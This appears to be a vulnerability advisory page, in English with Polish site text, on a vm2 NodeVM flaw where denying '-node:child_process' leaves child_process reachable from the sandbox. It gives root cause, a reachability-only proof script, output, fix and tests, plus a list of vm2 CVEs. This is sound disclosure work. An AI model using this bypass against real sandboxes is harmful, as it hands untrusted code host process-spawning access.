Krytyczna

vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process

  • Ujawniono: 01.10.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.

As a result, this configuration:

js
new NodeVM({
  require: {
    builtin: ['*', '-node:child_process']
  }
});

does not deny the canonical child_process builtin. Sandboxed code can require both child_process and node:child_process, and receives the host module with process-spawning APIs such as execSync and spawn.

The safe proof below only checks module and function reachability. It does not execute any OS command.

Affected Mode

NodeVM.

Affected Configuration

js
new NodeVM({
  require: {
    builtin: ['*', '-node:child_process']
  }
});

This affects users who deny builtins using their node:-prefixed spelling, expecting -node:child_process to deny require('node:child_process') and require('child_process').

Affected Files / Functions

  • lib/builtin.js
    • makeBuiltinsFromLegacyOptions
    • wildcard builtin expansion
    • exact negative entry check: builtins.indexOf(\-${name}`)`
    • addDefaultBuiltin
  • lib/resolver.js
    • Resolver.resolve
  • lib/setup-node-sandbox.js
    • requireImpl
    • node: prefix stripping before builtin load

Root Cause

lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:

js
if (localStringPrototypeStartsWith(filename, 'node:')) {
  id = localStringPrototypeSlice(filename, 5);
  let nmod = cacheBuiltins[id];
  if (!nmod) {
    nmod = loadBuiltinModule(id);
    if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
    cacheBuiltins[id] = nmod;
  }
  return nmod;
}

But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTIN_MODULES:

js
if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

BUILTIN_MODULES contains the canonical name child_process, not node:child_process. Therefore -node:child_process does not exclude child_process, and addDefaultBuiltin() registers the host builtin.

Security Boundary Crossed

Sandboxed code reaches a host builtin that the embedder attempted to deny.

Boundary crossed:

  • sandbox -> host child_process builtin
  • sandbox -> host process-spawning function references

Impact

Confirmed impact:

  • require('child_process') succeeds inside the sandbox.
  • require('node:child_process') succeeds inside the sandbox.
  • The returned module exposes execSync and spawn as functions.

Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.

The proof does not execute a command, but it confirms access to the host child_process module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.

js
'use strict';

const { NodeVM } = require('./');

function probe(builtin) {
  const vm = new NodeVM({
    require: {
      builtin
    }
  });

  return vm.run(`
    const out = {};

    for (const spec of ['child_process', 'node:child_process']) {
      try {
        const cp = require(spec);
        out[spec] = {
          loaded: true,
          execSyncType: typeof cp.execSync,
          spawnType: typeof cp.spawn,
          moduleToStringTag: Object.prototype.toString.call(cp)
        };
      } catch (e) {
        out[spec] = {
          loaded: false,
          name: e && e.name,
          code: e && e.code,
          message: e && e.message
        };
      }
    }

    module.exports = out;
  `);
}

console.log(JSON.stringify({
  nodeVersion: process.version,
  denyNodePrefixed: probe(['*', '-node:child_process']),
  denyCanonical: probe(['*', '-child_process'])
}, null, 2));

Observed result:

js
{
  "nodeVersion": "v24.14.0",
  "denyNodePrefixed": {
    "child_process": {
      "loaded": true,
      "execSyncType": "function",
      "spawnType": "function",
      "moduleToStringTag": "[object Object]"
    },
    "node:child_process": {
      "loaded": true,
      "execSyncType": "function",
      "spawnType": "function",
      "moduleToStringTag": "[object Object]"
    }
  },
  "denyCanonical": {
    "child_process": {
      "loaded": false,
      "name": "VMError",
      "code": "ENOTFOUND",
      "message": "Cannot find module 'child_process'"
    },
    "node:child_process": {
      "loaded": false,
      "name": "VMError",
      "code": "ENOTFOUND",
      "message": "Cannot find module 'node:child_process'"
    }
  }
}

Expected Secure Behavior

-node:child_process and -child_process should be equivalent.

If either spelling is denied, both of these should fail:

js
require('child_process')
require('node:child_process')

Suggested Fix

  1. Canonicalize builtin names before allow/deny comparison:

    • Strip node: from user-provided builtin entries.
    • Preserve whether an entry is negative (-...) before canonicalizing.
    • Store and compare one canonical builtin key.
  2. Apply the same normalization to:

    • wildcard negative entries
    • explicit allowlist entries
    • object-form builtin entries
    • mock/override keys if they are intended to support node: spelling
  3. Add regression tests:

    • builtin: ['*', '-node:child_process'] blocks child_process.
    • builtin: ['*', '-node:child_process'] blocks node:child_process.
    • builtin: ['*', '-node:fs'] blocks fs and node:fs.
    • builtin: ['*', '-node:fs/promises'] and -fs/promises behave consistently.
    • Canonical dangerous builtins remain denied even if explicitly requested with node: spelling.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 < 3.11.7 3.11.7

Odnośniki

Ocena CVSS 9.9/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Słabość (CWE)
CWE-269, CWE-284
Platforma
npm
Paczka
vm2
Ujawniono
01.10.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-8686-vhfx-7r3j - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process ten wpis
    Krytyczna · 9.9 CVE-2026-92957 < 3.11.7 3.11.7
  8. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Krytyczna · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Krytyczna · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Krytyczna · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Krytyczna · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. Wysoka · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Krytyczna · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Krytyczna · 9.9 CVE-2026-47686 < 3.11.6 3.11.6
  17. Krytyczna · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  18. Krytyczna · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  19. Krytyczna · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  20. Krytyczna · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  21. Krytyczna · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  22. Krytyczna · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  23. Wysoka · 8.5 CVE-2026-43998 >= 3.10.5, < 3.11.0 3.11.0
  24. Krytyczna · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  25. Krytyczna · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  26. Krytyczna · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  27. Krytyczna · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  28. Krytyczna · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  29. Krytyczna · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  30. Krytyczna · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  31. Krytyczna · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  32. Krytyczna · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  33. Krytyczna · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  34. Krytyczna · 9.8 CVE-2023-37903 <= 3.9.19 brak poprawki
  35. Krytyczna · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  36. Krytyczna · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  37. Krytyczna · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  38. Krytyczna · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
  39. Krytyczna · 9.8 CVE-2022-25893 < 3.9.10 3.9.10
  40. Krytyczna · 10.0 CVE-2022-36067 < 3.9.11 3.9.11
  41. Wysoka · 8.3 CVE-2019-10761 < 3.6.11 3.6.11
  42. Krytyczna · 9.8 CVE-2021-23555 < 3.9.6 3.9.6
  43. Krytyczna · 9.8 CVE-2021-23449 < 3.9.4 3.9.4

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.